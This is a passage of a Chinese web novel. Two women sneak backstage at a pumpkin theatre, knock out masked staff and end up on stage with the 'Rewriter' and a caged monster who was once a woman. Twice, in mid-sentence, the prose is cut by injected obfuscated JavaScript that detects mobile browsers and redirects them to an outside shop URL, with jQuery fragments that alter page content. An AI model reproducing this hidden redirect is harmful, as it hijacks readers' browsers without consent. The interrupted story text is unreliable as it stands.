他们刚刚进来的位置有一堵墙,如果想要去后台,要绕过那堵墙才能去正确的位置,但南瓜剧场的附近是一片丛林,连接着湖泊,地形复杂,也许要耗费花很多时间。但继续往左边走呢?这是一条单行道,所有的工作人员都戴着南瓜头套,他们这么特殊,要是迎面碰上一眼就被认出来。 宴希鸣看了看身边的老旧墙皮,它们已经大片的剥落,灯管也只隔着一段距离才有一根,发出十分微弱的光。 “怎么说,我们要走哪边呢?”蕾拉喃喃自语。 “如果考虑安全,就要绕外面。但是直线距离来说,这条路肯定更快。” 宴希鸣转头看向蕾拉:“怎么样,赌一把?” “我没意见啊。”蕾拉看着自己的蓝环,说:“惨了,这里连消息都发不出去。” “那别犹豫了,直接跑,看起来距离并不是很远。” 于是她们俩贴着墙根快速地往更深处移动,沿途还能看到一些木桌子,以及掉落的不知道做什么用的道具。 道具这么多,就不能给我一个有用的南瓜头套吗?宴希鸣吐槽道。 两人加快脚步,压低了声音,半跑着往通道的尽头跑去。 千万不要遇到人啊!他们两人都同时在心里没有用的祈祷道。 就快到了,尽头。 那是一个铁门,但是没有合拢,用一块红色的厚布帘子盖着,风在帘子上吹起了鼓动的波浪。 “嘎”! 传来了极大的一声,一个巨大的移动装置似乎被推到了门帘前,轮子在水泥地上发出刺耳的停刹声。 有人要进来了吗? 宴希鸣自觉地贴着墙根站好,看着蕾拉蹑手蹑脚地走到门帘前,掀开一角。 一个南瓜头工作人员,正推着一个空的铁架运输装置,站在门帘前,刹车好像坏掉了,于是他正蹲着在查看。 宴希鸣大气都不敢出,蕾拉对她比了个ok的姿势。 门帘的下方是一小节台阶,蕾拉快步地从台阶上跳了下去,把他的南瓜头套摘了下来。 宴希鸣隔着红帘子的缝隙往外看,心想就这么直接摘? 那是一个年轻小伙子,还以为是他的同伴在跟他玩闹,于是说:“喂,别搞我了,快还给我!” 他蹲着还没转身,蕾拉就猛击他的后脑和颈部的交接处,他话还没说完就晕倒在了地上。 蕾拉马上把他的南瓜头套安在了自己头上,又把他的衣服扒了穿在自己身上。随后指挥道:“你把他的尸体扔了,抛得越远越好,我给你再找个头套来。” 宴希鸣点点头,拖着这个倒霉蛋的脚,往灌木林的方向走。 走出去一段距离,她才看见这里的全貌。 南瓜建筑的背后是一个半露天的仓库,就像是南瓜后面一块裂开的空间,仓库里堆着大大小小的铁笼,里面是各种演出用的动物,铁笼碰撞的哐啷声音在这个距离依然听的很清晰。 把这个人塞在灌木底下后,她又跑回了墙根旁边。 此刻蕾拉走到了一个南瓜头工作人员身后,他正在推一辆平板手推车。蕾拉清了清嗓子说道:“哥,我这边笼子出问题了,能不能帮我看看?” 蕾拉的声音本来就是少年音,因此那个人也并未起疑,只是起身挪了挪自己的身子:“在哪里?” 蕾拉把他带到了自己第一次成功“击杀”的地方,说:“就是这个笼子。” 那个人叹了一口气,就蹲下去看轮子。 蕾拉有些为难的在背后注视着他的后颈,由于戴着南瓜头套,没有办法打击到重要位置,他又把头低的很下,这个角度也不是很好取。 这时宴希鸣从墙根后露出了半张脸,对着蕾拉指了指鼻子,做出一个深呼吸的动作。 蕾拉对蹲在地上的人说:“你闻到了吗?突然有种奇怪的味道,血腥味……” 那个人立刻紧张的说:“啊?没有吧,我什么都没闻到。” “真的!这里不会刚刚死过人吧……” “可是我什么都没闻到啊。” “你鼻子不行啊,我都闻到了!不信你把头套摘下来闻闻看。” 那个人立刻听从了这个建议,将头套摘了下来。 “嘿嘿,你信我的干嘛!” 蕾拉再次出手,在他摘下头套的那一刻就一掌劈了过去。 宴希鸣把他埋在了另一个灌木丛里。 “这一刻,我好像一个杀人犯。”宴希鸣抖着自己身上不存在的土,说道。 “你不是杀人犯,你就是一个善后的。”蕾拉宽慰她:“我刚刚看了,那边的笼子里有很多动物,不过没来得及看是不是有怪体。” 仓库中有浓烈的动物体腥味,有七八个工作人员都在整理这些笼子,刚刚下台的猴子、黑熊都被关在笼子中,被几个人合力搬运走。蕾拉和宴希鸣合力把那个坏掉的笼子推了回去。 仓库的里端,不是墙壁。而是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407394|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排红色的布帘,就像是舞台上的那种。 一个表演似乎谢幕了,从这里还能听到里面观众发出的鼓掌声。 这里离真正的舞台已经很近了。 蕾拉和宴希鸣都在侧耳倾听里面的动静,有一个粗暴的男声传来。 “你们两个,正在做什么,这么闲的吗!快过来,把这个东西运进去,演出要开始了!” 两个人立刻回头,看到那个南瓜头工作人员,他似乎是这里的指挥者,正把一块蒙在铁笼上的黑布掀开。 大铁笼,里面正关着一只焦躁不安的怪物,此刻暴露了众人面前。 长长的尾巴、遍布全身的灰色鳞甲、黑色的钩爪,在场的所有人都知道这是什么。 这只怪体用爪子遮住了自己的脸,不安地在来回爬行。 宴希鸣率先走了过去,发现怪体的身上还有一根锁链,此时链子的另一端锁在笼门上,这个笼子的锁是专门定制的,具有多重操作机制,能够防止里面的动物无法自己从内部打开。 尽管如此,宴希鸣还是感到一阵恶寒,因为里面的怪物已经转过了身子,露出了自己的半张脸,那双凸起的眼球正一动不动的盯着自己。 “柏黎……”宴希鸣以一种只能自己听见的声音小声呼唤道。 怪体的听觉如此敏锐,在她话音落下的那瞬间,突然变得极为激动,尾巴重重地甩在铁笼上,半伏下身,做出了攻击的姿态。 “啪。”为首的工作人员一甩长鞭,敲在铁笼上,把它吓得往笼子中心退了几步。 “你们不要离她太近了,万一被吃了,我也不负责!” 蕾拉如鹰隼般的目光紧紧盯住笼中的生物,走过去和宴希鸣一起,拖着笼子往里面走去。 蕾拉掀起了沉重的布帘,里面露出了一个金属平台,台面上铺着和舞台地面上颜色一样的黑色防滑垫,机械臂在阴影处闪着暗铜色的光。 两个人拖着笼子走了进去,铁笼在升降台上重重地打了个顿停下,发出了一声沉闷的响声。 在这里,尽管看不到,但是完全能听到舞台上都发生了什么。 一个表演已经谢幕。 有一个主持人女声清晰的传来:“感谢动物朋友们精彩的表演!相信各位观众依然意犹未尽,没有关系,我们今天精彩的演出还在进行,通常来说,压轴的大戏都在后头,今晚我们也同样如此。今天,在这个特殊的夜晚,我们请到了一位相当重要的嘉宾,大家不妨大胆猜一猜,这位神秘来宾是谁呢?” 观众席中有人沉默了一瞬,接着就有一个男声大声回答道:“改写师!” 人群里安静了几秒,随后就沸腾了:“什么,是改写师吗?” “别说,还真有可能!最近街头不都是符号吗?” “是的是的!有人专门预测他的行程的!就有人分析他最近会出现在渡城!” 观众席上的声音越来越激昂,随后他们就齐刷刷的叫着那个人的名字:“改写师!改写师!!” “别卖关子啦!就让他上来吧!” 在舞台下的阴暗处,他们都清晰的知道了舞台上的动静。 宴希鸣为了保护自己的安全,离怪体的铁笼隔了一段距离,手却紧紧地掐着自己的衣服,怪体的眼睛在黑暗中目不转睛地盯着一处,面对着自己即将到来的命运。 19. 第 19 章 这里站着的不是任何人,不是什么牛头马面的怪物,也不是什么戴着慈悲面具的神祇。 是一个戴着南瓜头套的人。平平无奇,和园区里的其他套着南瓜头的员工没有任何区别。 如果非要说他和其他人有什么区别,就在于他的声音,他把原先的声音做了处理,因此发出的声音听起来是一个中年男人。 障眼法。 以及他身上穿着的并不是其他工作人员那样的墨绿色衣服,而是一件暗沉沉的黑色丝绒长袍。 那个神秘的人朝观众鞠了一躬后,直起身,抬手打了一个响指。 “啪”的一声,一束暖黄色的聚光灯打在他左手边的位置上,好像那里还站着个人似的。所有人的目光都吸引到空荡荡的那处,好奇那里将会发生什么。 “观众朋友们,欢迎你们来到今天的秀场。”台上的魔术师优雅的抬手:“相信你们对于今晚的压轴表演已经很期待了,那么话不多说,我们请来今天最重要的嘉宾来帮助我一起完成这个演出吧。你们经过一天的游览,有没有因为园区深处的秘密感到战栗?如果没有,也没有多大的关系,因为今晚,我将给你们带来的刺激,绝对要比那多的多。” “你听,这个人说的是什么鬼话?”蕾拉挽起袖子,在黑暗中对宴希鸣说:“活见鬼了,真是改写师的话,我这就上去揍他一拳。” “改写师!你是改写师吗!” 底下的人反应了一会儿,有人朝他喊道,声音非常激动,可能就来自于街头涂鸦的一员。 “这,当然是一个秘密了。”南瓜头比了个嘘的手势:“这也是压轴戏的一部分。大家接着往下看就知道了。” 这时,剧场突然响起了大提琴沉闷的乐声。 声音迟钝,但像坡脚的人失去了平衡,听的让人的心揪起来一块。大提琴的奏鸣降了半度,随后沙哑的低音大管响起,两个乐器的音色叠加在一起,像是许多人共同发出呻吟。 宴希鸣只知道在头顶的某个地方,音乐声响了起来,她听见了观众的掌声,隔着厚厚的舞台地板传下来,像沉重的雨点噼里啪啦的落在棺材盖上。 接着他们还没反应过来,“咔咔咔”,宴希鸣往脚底下看去,只见升降台下的齿轮咬合,螺杆缓缓旋转,她和蕾拉就好像正在一辆上升的电梯上,正在被缓缓往上传送。 “这是传送平台,我们得快出去!”宴希鸣拉了蕾拉一把,视线转向慢慢远离的地面,现在出去,还来得及! “上去就上去,谁怕谁啊?”没想到,蕾拉坚决不肯挪动,执着的盯着舞台上方:“要我说,把这里搅成一团,看他们今晚还怎么表演!” “咔咔——咔。” 平台脱离了黑暗的深处,两个人,一只怪物,都被送到灯光下,所有人的目光都朝这里聚集,惊讶声像潮水一样一层层的涌过来。 “天呐——” “怪体!这不是特别展览馆的怪物吗!” “怎么就一只啊?今天去看到的不是两只吗?你看旁边还有两个人呢,是不是怪物变成人啦?” 宴希鸣听着他们越来越离谱的话,脸像是被一块巨石压扁了,表情也变得僵硬。 这似乎超出了改写师的预料,他在原地愣了三秒,没有表情的南瓜头在此刻显得有些尴尬:“咦?” 蕾拉朝他笑了笑,以只能他们两个人听到的声音说:“怎么,见到你爷爷,这么不开心吗?”底下的人窃窃私语:“这人是谁啊?” “这两个人,刚刚不是坐在我前面的吗?” “说不定是邀请一起表演的幸运儿呢?” 有好奇的人用手电筒照了过去。光打在了铁笼上,笼中的怪体本来就畏光,因此发出了一声嘶哑的低吼。 改写师的南瓜头套立刻朝那个方向看了过去,即使看不见他的表情,也能感觉他警示的目光。 那个人立刻把手电筒熄灭了。当做什么都没有发生。 “你们是什么人?”改写师问。 观众们也质问般的齐刷刷看向他们,等待着他们的回答。 宴希鸣怕蕾拉立刻就冲上去给改写师一顿暴打,于是抢先说道:“我们是出来上厕所的!刚好遇到这个怪体的笼子,就过来看看,没想到一起被传送过来了。” “没关系,”改写师谅解的说道:“好奇是每个人的天性。” 改写师绕过蕾拉,把自己的手放在笼子上,怪体离笼子远了些。底下的人目光全部被提了起来。“为什么看到别人的惨剧,不会感到恐惧,而是感到刺激呢?” 他像是发问,目光朝宴希鸣这边看去。 宴希鸣和蕾拉对视了一眼。 这不应该是轮到自己回答吧? 但是改写师依然鼓励的看着她。 蕾拉快人一步的说道:“因为距离,距离是麻木人心最好的良药。” 改写师鼓了鼓掌:“说的对!只要悲剧发生离自己足够远的舞台上,被展示出来的就不再是一个人了,它是一个物件儿,是一个调剂品,是什么都行。对方好像是比自己低一等的生物,所以作为上位者欣赏他们的惨状也是应当的,因为他低人一等,绝对轮不到我变成这样。” 他朝着观众们说:“多令人感到安全的念头!你们也是这么想的吗?” 观众们面面相觑。 改写师没有将视线移开,而是轻轻笑了起来:“请不要介意,我没有责怪你们的意思。因为这件消费品,我们才聚到一起来的。我们应该感谢它才是,如果没有它的存在,怎么能无形中加固我们高人一等的事实?我们的安全感从而何来?” 底下的观众都笑了起来。 宴希鸣一把抓住要往前冲的蕾拉:“冷静冷静!你要干什么!” “别拦我,我要打死他!” “你看,我们的近距离观众都已经迫不及待了。” “哈哈哈。” 观众愉快的笑道。等着改写师下一步的发言。 “人类似乎一直都有把同类的死亡当做盛大演出的传统。曾经在断头台上,有的人为了观看处刑,愿意花钱买票,像是抢着去刑场上看一出悲剧,只是这次舞台上淌的是真血。所有人都这么心安理得,刺激,带给人的感受如此与众不同,既然过去的历史已经把刺激都轮番来了一遍了,今天我们还要怎么别开生面呢?有观众朋友有好的建议吗?” “让怪体给我们表演吧!” “是的,它会做什么?这个笨拙的小生物,让它钻火圈可以吗?” 底下的谈论越来越不怀好意。 “咳咳。”宴希鸣突然开口,提高了音量,一下子就令他们的谈论冷却了下来:“我认为,应该请台下的幸运观众一起上来表演。” “什么?她在说什么啊?” 宴希鸣微笑道:“你们看,我都一个人站在这里了,总不能就我一个人这么幸运吧?改写师刚刚怎么说来着的?刺激,嗯……刺激带来观赏的价值,这也没说错,那直接站到我身边来,不是双重刺激吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411311|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 改写师欣赏着她的拆台:“这位小姐说的没错!”他举起自己的一只手:“有谁愿意到台上来的?” 底下没有一个人发言,都面面相觑道,开玩笑,台下的距离是真的安全,但是到台上去就不一定了。 “有一个俗语叫,离血越近的人越尊贵。今晚既然你们到这里来,我也一定会让你们享受如此殊荣。”改写师缓缓地说道。 “那是要怎样?” “这是他的能力吗?” “能力?” “他改写师的称号怎么来的?不就是传闻中,他能将怪体重新变回人的样子吗?” “这不可能吧!都说沉睡剂的副作用是不可逆的。这是连赦令大楼都做不到的事情?” “呵呵,既然他来了,一定是有好戏看了,难道众目睽睽之下,这个怪物会变成人吗?” 怪体往后退了几步,看起来很是恐惧。宴希鸣真怕他伸手进去会被那个怪物啃上一口。 改写师左手抬起,慢慢的把手放在它头顶的位置,一种可以摸到它头顶的高度。怪体和他对视了一会儿,就平静了下来。 “真棒,你真好。” 他表扬道,然后绕到另一侧,似乎在观察这个野兽。 他接着旋转笼子上的开锁装置,向上拨动,解开了结构复杂的锁,打开了笼子。 怪体蜷缩在最里面不肯出来。 “来来,”他轻柔的像是招呼小孩子,没有任何催促,只是小声说:“让大家看看你。” 他牵过栓在笼子上的铁链,握在手中,轻轻拉扯了一下,然后慢慢地将怪体牵引了出来。 全场一片寂静。 这个怪体似乎非常顺从,一直低着头,任由头发把自己的面部遮住,披着一件人样式的衣服,长长的尾巴拖行在地上,灰色的鳞片在移动间发出了摩擦声。 底下的观众都屏住了呼吸,不敢惊扰这一幕。 开玩笑,会突然暴起的怪体,万一冲下来咬观众怎么办? 还好这是在改写师手里。 不对,好端端的为什么要把怪兽放出来? 观众们都惊恐的看着台上的这一幕。 “我来和你们介绍一下她吧!她的名字……你们不必知晓。她的身份,也很普通,就是渡城的一个普通居民。也许你们还在马路上擦肩而过呢。” “她今年29岁了,一直独居在渡城的工业区,她没养宠物,也没什么社交,甚至没有能够被称之为朋友的人,只有一个弟弟,她年少时一直与她的弟弟相依为命,直到后来,她和家人分开,这才在渡城留了下来。”改写师别有深意的说道:“周末她会去附近的公园走一走,坐在一张长椅上,自己什么也不做,就那么坐一下午。” “她就是这样一个人。普通到如果你在街上遇见她,目光绝不会在她身上多停留一秒。普通到你们甚至不会记得见过她。可她变成了这个样子。” “我说过,能够唤醒麻木的人方式只有一种,那就是让他们看到身边发生了什么。” 他慢慢的将手掌放在了怪物的头发上,摸了摸它。 宴希鸣看着他手中的动作。 依赖的世界,那就是,一切悲剧起源的地方。 改写师的手在怪体的脑袋上停留了大致十秒钟。 紧接着—— 他的手中突然发出了耀眼夺目的白光。 所有观众眼前都如同闪电白昼般一亮,接着就陷入噩梦一样的无尽黑暗中。